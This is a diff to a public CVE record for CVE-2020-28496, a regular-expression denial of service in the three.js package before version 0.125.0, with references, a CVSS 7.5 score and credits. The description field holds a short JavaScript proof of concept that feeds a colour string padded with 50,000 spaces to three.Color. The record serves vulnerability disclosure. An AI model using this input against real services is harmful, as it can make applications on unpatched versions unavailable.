diff --git a/2020/28xxx/CVE-2020-28496.json b/2020/28xxx/CVE-2020-28496.json
index fe9a4b68f67..07d2822a308 100644
--- a/2020/28xxx/CVE-2020-28496.json
+++ b/2020/28xxx/CVE-2020-28496.json
@@ -3,16 +3,100 @@
     "data_format": "MITRE",
     "data_version": "4.0",
     "CVE_data_meta": {
+        "ASSIGNER": "report@snyk.io",
+        "DATE_PUBLIC": "2021-02-18T14:18:29.728676Z",
         "ID": "CVE-2020-28496",
-        "ASSIGNER": "cve@mitre.org",
-        "STATE": "RESERVED"
+        "STATE": "PUBLIC",
+        "TITLE": "Regular Expression Denial of Service (ReDoS)"
+    },
+    "affects": {
+        "vendor": {
+            "vendor_data": [
+                {
+                    "product": {
+                        "product_data": [
+                            {
+                                "product_name": "three",
+                                "version": {
+                                    "version_data": [
+                                        {
+                                            "version_affected": "<",
+                                            "version_value": "0.125.0"
+                                        }
+                                    ]
+                                }
+                            }
+                        ]
+                    },
+                    "vendor_name": "n/a"
+                }
+            ]
+        }
+    },
+    "problemtype": {
+        "problemtype_data": [
+            {
+                "description": [
+                    {
+                        "lang": "eng",
+                        "value": "Regular Expression Denial of Service (ReDoS)"
+                    }
+                ]
+            }
+        ]
+    },
+    "references": {
+        "reference_data": [
+            {
+                "refsource": "CONFIRM",
+                "url": "https://snyk.io/vuln/SNYK-JS-THREE-1064931"
+            },
+            {
+                "refsource": "CONFIRM",
+                "url": "https://snyk.io/vuln/SNYK-JAVA-ORGWEBJARSNPM-1065972"
+            },
+            {
+                "refsource": "CONFIRM",
+                "url": "https://github.com/mrdoob/three.js/issues/21132"
+            },
+            {
+                "refsource": "CONFIRM",
+                "url": "https://github.com/mrdoob/three.js/pull/21143/commits/4a582355216b620176a291ff319d740e619d583e"
+            }
+        ]
     },
     "description": {
         "description_data": [
             {
                 "lang": "eng",
-                "value": "** RESERVED ** This candidate has been reserved by an organization or individual that will use it when announcing a new security problem. When the candidate has been publicized, the details for this candidate will be provided."
+                "value": "This affects the package three before 0.125.0.\n This can happen when handling rgb or hsl colors.\r\n\r\nPoC:\r\n\r\nvar three = require('three')\r\n\r\n\r\n\r\nfunction build_blank (n) {\r\n var ret = \"rgb(\"\r\n for (var i = 0; i < n; i++) {\r\n  ret += \" \"\r\n }\r\n\r\n return ret + \"\";\r\n}\r\n\r\nvar Color = three.Color\r\n\r\nvar time = Date.now();\r\nnew Color(build_blank(50000))\r\nvar time_cost = Date.now() - time;\r\nconsole.log(time_cost+\" ms\")\r\n\n"
             }
         ]
-    }
+    },
+    "impact": {
+        "cvss": {
+            "version": "3.1",
+            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
+            "baseScore": 7.5,
+            "baseSeverity": "HIGH",
+            "attackVector": "NETWORK",
+            "attackComplexity": "LOW",
+            "privilegesRequired": "NONE",
+            "userInteraction": "NONE",
+            "scope": "UNCHANGED",
+            "confidentialityImpact": "NONE",
+            "integrityImpact": "NONE",
+            "availabilityImpact": "HIGH"
+        }
+    },
+    "credit": [
+        {
+            "lang": "eng",
+            "value": "Yeting Li"
+        },
+        {
+            "lang": "eng",
+            "value": "Liyuan Chen"
+        }
+    ]
 }
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